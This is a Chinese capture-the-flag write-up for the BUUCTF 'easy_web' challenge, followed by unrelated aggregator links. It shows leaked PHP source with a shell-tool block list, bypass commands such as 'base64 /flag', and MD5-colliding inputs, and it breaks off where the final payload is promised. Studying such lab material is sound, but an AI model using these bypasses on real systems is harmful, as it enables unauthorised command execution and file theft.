当前位置: 首页 > news >正文

BUUCTF-easy_web

将初始url中img参数的内容进行两次base64解码以及一次16进制解码后,可以得到555.png。


可以将参数改为index.php进行一次16进制编码、两次base64编码后传参,获取到index.php的源码。

<?phperror_reporting(E_ALL||~E_NOTICE);header('content-type:text/html;charset=utf-8');$cmd=$_GET['cmd'];if(!isset($_GET['img'])||!isset($_GET['cmd']))header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');$file=hex2bin(base64_decode(base64_decode($_GET['img'])));$file=preg_replace("/[^a-zA-Z0-9.]+/","",$file);if(preg_match("/flag/i",$file)){echo'<img src ="./ctf3.jpeg">';die("xixi~ no flag");}else{$txt=base64_encode(file_get_contents($file));echo"<img src='data:image/gif;base64,".$txt."'></img>";echo"<br>";}echo$cmd;echo"<br>";if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$cmd)){echo("forbid ~");echo"<br>";}else{if((string)$_POST['a']!==(string)$_POST['b']&&md5($_POST['a'])===md5($_POST['b'])){echo`$cmd`;}else{echo("md5 is funny ~");}}?>

前面较为容易绕过,较为难绕过的是下述代码:

echo$cmd;echo"<br>";if(preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$cmd)){echo("forbid ~");echo"<br>";}else{if((string)$_POST['a']!==(string)$_POST['b']&&md5($_POST['a'])===md5($_POST['b'])){echo`$cmd`;}else{echo("md5 is funny ~");}}

可以看到$cmd参数设置了较为严格的过滤,常见的查看文件内容的命令都被过滤,

more less head tail cat

但是还有其他方法可以查看文件内容:

base64 /flag strings /flag

接下来还需要以post方式传参ab两个参数,且ab不能相等但是他们的md5值严格相等。

if((string)$_POST['a']!==(string)$_POST['b']&&md5($_POST['a'])===md5($_POST['b'])){echo`$cmd`;}

可用下面两个字符串,虽然他们的值不同但是他们的md5值相同

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak


最终payload如下:

http://www.jsqmd.com/news/102046/

相关文章:

  • 科技砸盘释放流动性!消费成焦点!
  • 计算机毕业设计springboot民宿管理系统 基于Spring Boot的民宿管理平台设计与实现 Spring Boot框架下的民宿信息管理系统开发
  • Flask任意文件读取+session伪造-NSSCTF-web4
  • 计算机毕业设计springboot面向煤矿井下人员的不安全行为管理系统 基于 Spring Boot 的煤矿井下人员安全行为监管系统设计与实现 Spring Boot 框架下煤矿井下人员不安全行为监测
  • 接口与实现分离:从 SPI 到 OSGi、SOFAArk的模块化演进
  • SPFA算法
  • 高频Jmeter软件测试面试题
  • 揭秘私有化Dify用户管理体系:如何实现精细化权限分配与安全审计
  • 多传感器融合与空间解算:微型矿用定向传感器工作原理综述
  • 大模型教我成为大模型算法工程师之day14: 目标检测 (Object Detection)
  • 【Dify系统性能突破】:基于混合检索架构的响应时间压缩秘籍
  • 大模型教我成为大模型算法工程师之day15: 图像分割 (Image Segmentation)
  • 1、云、虚拟化与数据存储网络:从挑战到机遇的旅程
  • 构建ros2的节点工程,并创建python的ros2的包的方法过程(推荐)
  • 2、云、虚拟化与数据存储网络:从挑战到机遇
  • 3、云、虚拟化与数据存储网络基础全解析
  • Python学习第一天:保留字和标识符
  • 痛击面试官!CURD系统也能做出技术含量
  • Java计算机毕设之基基于javaweb的特色小零食销售系统的设计与实现于javaweb的小零食销售系统的设计与实现(完整前后端代码+说明文档+LW,调试定制等)
  • 揭秘Dify Agent版本混乱难题:3步实现精准版本管控
  • 私有化Dify端口配置实战(从零到上线的完整配置方案)
  • Java面试Redis核心知识点整理!
  • 从入门到精通:Dify平台下Tesseract自定义词典创建全流程(附真实案例)
  • C++编译死机排查工具与实战指南
  • C++ Template(模板)解读和模板报错如何“逆向阅读”定位
  • 2025年低成本学AI:几款高性价比认证盘点(200元起)
  • 【高阶技术揭秘】:从Dify日志看懂重排序算法的隐秘逻辑
  • 应届生看过来!2025年轻松入手的几款AI认证(低费用+高认可度)
  • Avalon-MM address和DRAM address地址映射
  • 还在为多语言语音识别发愁?Dify 1.7.0一招破解行业痛点